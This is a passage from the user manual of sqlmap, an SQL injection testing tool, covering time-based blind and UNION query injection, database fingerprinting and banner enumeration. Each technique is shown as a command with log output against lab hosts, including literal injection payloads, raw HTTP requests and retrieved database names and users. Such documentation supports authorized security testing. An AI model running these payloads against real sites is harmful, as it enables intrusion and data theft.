$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND
|
|
condition syntax
|
|
[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql
|
|
injection with AND condition syntax
|
|
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked
|
|
query syntax
|
|
[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with
|
|
stacked query syntax
|
|
time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND
|
|
'PmrXn'='PmrXn'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Test for UNION query SQL injection</H3>
|
|
|
|
<P>Options: <CODE>--union-test</CODE> and <CODE>--union-tech</CODE></P>
|
|
|
|
<P>It is possible to test if the target URL is affected by a <B>UNION query
|
|
(inband) SQL injection</B> vulnerability.
|
|
Refer to the <EM>Techniques</EM> section for details on this SQL injection
|
|
technique.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
|
|
--union-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
|
|
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>By default sqlmap uses the <B><CODE>NULL</CODE> bruteforcing</B> technique to
|
|
detect the number of columns within the original <CODE>SELECT</CODE> statement.
|
|
It is also possible to change it to <B><CODE>ORDER BY</CODE> clause
|
|
bruteforcing</B> with the <CODE>--union-tech</CODE> option.</P>
|
|
|
|
<P>Further details on these techniques can be found
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html">here</A>.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
|
|
--union-test --union-tech orderby -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
|
|
bruteforcing technique
|
|
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
valid union: 'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
|
|
1262=1262'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the target URL parameter <CODE>id</CODE> might be also
|
|
exploitable by the inband SQL injection technique.
|
|
In case a case it is strongly recommended to use this technique which saves
|
|
a lot of time.</P>
|
|
|
|
<P>It is strongly recommended to run at least once sqlmap with the
|
|
<CODE>--union-test</CODE> option to test if the affected parameter is used
|
|
within a <CODE>for</CODE> cycle, or similar, and in case use
|
|
<CODE>--union-use</CODE> option to exploit this vulnerability because it
|
|
saves a lot of time and it does not weight down the web server log file
|
|
with hundreds of HTTP requests.</P>
|
|
|
|
|
|
<H3>Use the UNION query SQL injection</H3>
|
|
|
|
<P>Option: <CODE>--union-use</CODE></P>
|
|
|
|
<P>Providing the <CODE>--union-use</CODE> parameter, sqlmap will first test if
|
|
the target URL is affected by an <B>inband SQL injection</B>
|
|
(<CODE>--union-test</CODE>) vulnerability then, in case it seems to be
|
|
vulnerable, it will confirm that the parameter is affected by a <B>Full
|
|
UNION query SQL injection</B> and use this technique to go ahead with the
|
|
exploiting.
|
|
If the confirmation fails, it will check if the parameter is affected by
|
|
a <B>Partial UNION query SQL injection</B>, then use it to go ahead if it
|
|
is vulnerable.
|
|
In case the inband SQL injection vulnerability is not exploitable, sqlmap
|
|
will automatically fallback on the blind SQL injection technique to go
|
|
ahead.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 \
|
|
--union-use --banner
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2000
|
|
|
|
[hh:mm:42] [INFO] fetching banner
|
|
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
|
|
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
|
|
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
|
|
[hh:mm:42] [INFO] performed 3 queries in 0 seconds
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the vulnerable parameter (<CODE>id</CODE>) is affected by both
|
|
blind SQL injection and exploitable full inband SQL injection
|
|
vulnerabilities.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \
|
|
--union-use --current-user
|
|
|
|
[...]
|
|
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:29] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
|
|
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
|
|
NULL# AND 8032=8032
|
|
[hh:mm:29] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
|
|
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
|
|
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
|
|
%208032=8032 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
|
|
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
|
|
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
|
|
X-Powered-By: PHP/5.2.6-2ubuntu4
|
|
Content-Length: 194
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
|
|
</table>
|
|
</body></html>
|
|
|
|
[hh:mm:29] [INFO] performed 3 queries in 0 seconds
|
|
current user: 'testuser@localhost'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the MySQL <CODE>CURRENT_USER()</CODE> function (--current-user)
|
|
output is nested, inband, within the HTTP response page, this makes the
|
|
inband SQL injection exploited.</P>
|
|
|
|
<P>In case the inband SQL injection is not fully exploitable, sqlmap will
|
|
check if it is partially exploitable: this occurs if the query output
|
|
is not parsed within a <CODE>for</CODE>, or similar, cycle but only the first
|
|
entry is displayed in the page content.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 \
|
|
--union-use --dbs
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:56] [INFO] fetching database names
|
|
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
|
|
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
|
|
vulnerability
|
|
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
|
|
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
|
|
FROM information_schema.SCHEMATA# AND 1062=1062
|
|
[hh:mm:56] [INFO] performed 6 queries in 0 seconds
|
|
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
|
|
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
|
|
[hh:mm:56] [INFO] performed 7 queries in 0 seconds
|
|
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
|
|
[hh:mm:56] [INFO] performed 8 queries in 0 seconds
|
|
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
|
|
[hh:mm:56] [INFO] performed 9 queries in 0 seconds
|
|
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
|
|
[hh:mm:56] [INFO] performed 10 queries in 0 seconds
|
|
available databases [4]:
|
|
[*] information_schema
|
|
[*] mysql
|
|
[*] privatedb
|
|
[*] test
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap identified that the parameter is affected by a
|
|
partial inband SQL injection, consequently counted the number of query
|
|
output entries and retrieved once per time by forcing the parameter
|
|
(<CODE>id</CODE>) value <CODE>1</CODE> to its negative value <CODE>-1</CODE> so that
|
|
it does not returns, presumibly, any output leaving our own <CODE>UNION ALL
|
|
SELECT</CODE> statement to produce one entry at a time and display it in the
|
|
page content.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.6">5.6</A> <A HREF="#toc5.6">Fingerprint</A>
|
|
</H2>
|
|
|
|
<H3>Extensive database management system fingerprint</H3>
|
|
|
|
<P>Options: <CODE>-f</CODE> or <CODE>--fingerprint</CODE></P>
|
|
|
|
<P>By default the web application's back-end database management system
|
|
fingerprint is performed requesting a database specific function which
|
|
returns a known static value. By comparing these value with the returned
|
|
value it is possible to identify if the back-end database is effectively
|
|
the one that sqlmap expected. Depending on the DBMS being tested, a
|
|
SQL dialect syntax which is syntatically correct depending upon the
|
|
back-end DBMS is also tested.</P>
|
|
<P>After identifying an injectable vector, sqlmap fingerprints the back-end
|
|
database management system and go ahead with the injection with its
|
|
specific syntax within the limits of the database architecture.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
|
|
|
|
[...]
|
|
[hh:mm:17] [INFO] testing MySQL
|
|
[hh:mm:17] [INFO] confirming MySQL
|
|
[hh:mm:17] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:17] [INFO] retrieved: 5
|
|
[hh:mm:17] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:17] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap automatically fingerprints the web server operating
|
|
system and the web application technology by parsing some HTTP response headers.</P>
|
|
|
|
<P>If you want to perform an extensive database management system fingerprint
|
|
based on various techniques like specific SQL dialects and inband error
|
|
messages, you can provide the <CODE>--fingerprint</CODE> option.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:49] [INFO] testing MySQL
|
|
[hh:mm:49] [INFO] confirming MySQL
|
|
[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:49] [INFO] retrieved: 3
|
|
[hh:mm:49] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:49] [INFO] the back-end DBMS is MySQL
|
|
[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.PARAMETERS LIMIT 0, 1
|
|
[hh:mm:49] [INFO] retrieved:
|
|
[hh:mm:49] [INFO] performed 6 queries in 0 seconds
|
|
[hh:mm:49] [INFO] query: MID(@@table_open_cache, 1, 1)
|
|
[hh:mm:49] [INFO] retrieved:
|
|
[hh:mm:49] [INFO] performed 6 queries in 0 seconds
|
|
[hh:mm:49] [INFO] query: MID(@@hostname, 1, 1)
|
|
[hh:mm:49] [INFO] retrieved: t
|
|
[hh:mm:49] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
|
|
comment injection fingerprint: MySQL 5.0.67
|
|
html error message fingerprint: MySQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
|
|
[hh:mm:38] [INFO] testing Oracle
|
|
[hh:mm:38] [INFO] confirming Oracle
|
|
[hh:mm:38] [INFO] the back-end DBMS is Oracle
|
|
[hh:mm:38] [INFO] query: SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
|
|
[hh:mm:38] [INFO] retrieved: 10
|
|
[hh:mm:38] [INFO] performed 20 queries in 0 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: Oracle 10g
|
|
html error message fingerprint: Oracle
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
|
|
[hh:mm:14] [INFO] testing PostgreSQL
|
|
[hh:mm:14] [INFO] confirming PostgreSQL
|
|
[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
|
|
[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)
|
|
[hh:mm:14] [INFO] retrieved: 2
|
|
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
|
|
[hh:mm:14] [INFO] retrieved:
|
|
[hh:mm:14] [INFO] performed 6 queries in 0 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
|
|
html error message fingerprint: PostgreSQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from this last example, sqlmap first tested for MySQL,
|
|
then for Oracle, then for PostgreSQL since the user did not forced the
|
|
back-end database management system name with option <CODE>--dbms</CODE>.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:41] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:41] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
|
|
html error message fingerprint: Microsoft SQL Server
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:41] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:41] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2003 or 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
|
|
html error message fingerprint: Microsoft SQL Server
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If you want an even more accurate result, based also on banner parsing,
|
|
you can also provide the <CODE>-b</CODE> or <CODE>--banner</CODE> option.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b
|
|
|
|
[...]
|
|
[hh:mm:04] [INFO] testing MySQL
|
|
[hh:mm:04] [INFO] confirming MySQL
|
|
[hh:mm:04] [INFO] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:04] [INFO] retrieved: 0
|
|
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:04] [INFO] the back-end DBMS is MySQL
|
|
[hh:mm:04] [INFO] query: VERSION()
|
|
[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
|
|
[hh:mm:05] [INFO] performed 111 queries in 1 seconds
|
|
[hh:mm:05] [INFO] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
|
|
[hh:mm:05] [INFO] retrieved:
|
|
[hh:mm:05] [INFO] performed 6 queries in 0 seconds
|
|
[hh:mm:05] [INFO] query: MID(@@table_open_cache, 1, 1)
|
|
[hh:mm:05] [INFO] retrieved:
|
|
[hh:mm:05] [INFO] performed 6 queries in 0 seconds
|
|
[hh:mm:05] [INFO] query: MID(@@hostname, 1, 1)
|
|
[hh:mm:05] [INFO] retrieved: t
|
|
[hh:mm:06] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
|
|
comment injection fingerprint: MySQL 5.0.67
|
|
banner parsing fingerprint: MySQL 5.0.67
|
|
html error message fingerprint: MySQL
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap was able to fingerprint also the back-end DBMS
|
|
operating system by parsing the DBMS banner value.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f -b
|
|
|
|
[...]
|
|
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:03] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:03] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:03] [INFO] query: @@VERSION
|
|
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
|
|
[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Windows 2000 Service Pack 4
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
|
|
banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
|
|
version 8.00.194
|
|
html error message fingerprint: Microsoft SQL Server
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
|
|
|
|
[...]
|
|
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:03] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:03] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
[hh:mm:03] [INFO] query: @@VERSION
|
|
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
|
|
Oct 14 2005 00:33:37
|
|
Copyright (c) 1988-2005 Microsoft Corporation
|
|
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
|
|
|
|
[hh:mm:15] [INFO] performed 1343 queries in 11 seconds
|
|
web server operating system: Windows 2003 or 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS operating system: Windows 2003 Service Pack 1
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
|
|
banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0
|
|
version 9.00.1399
|
|
html error message fingerprint: Microsoft SQL Server
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, from the Microsoft SQL Server banner, sqlmap was able to
|
|
correctly identify the database management system patch level.
|
|
The Microsoft SQL Server XML versions file is the result of a sqlmap
|
|
parsing library that fetches data from Chip Andrews'
|
|
<A HREF="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx">SQLSecurity.com site</A> and outputs it to the XML versions file.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.7">5.7</A> <A HREF="#toc5.7">Enumeration</A>
|
|
</H2>
|
|
|
|
<H3>Banner</H3>
|
|
|
|
<P>Option: <CODE>-b</CODE> or <CODE>--banner</CODE></P>
|
|
|
|
<P>Most of the modern database management systems have a function or an
|
|
environment variable which returns details on the database managemet
|
|
system version. Sometimes also the operating system where the daemon has
|
|
been compiled on, the operating system architecture, its service pack.
|
|
Usually this function is <CODE>version()</CODE> or the <CODE>@@version</CODE>
|
|
environment variable.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -b -v 0
|
|
|
|
banner: '5.0.67-0ubuntu6'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 0
|
|
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b -v 0
|
|
|
|
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -b -v 0
|
|
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 0 -b
|
|
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
|
|
Oct 14 2005 00:33:37
|
|
Copyright (c) 1988-2005 Microsoft Corporation
|
|
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Current user</H3>
|
|
|
|
<P>Option: <CODE>--current-user</CODE></P>
|
|
|
|
<P>It is possible to retrieve the database management system's user which is
|
|
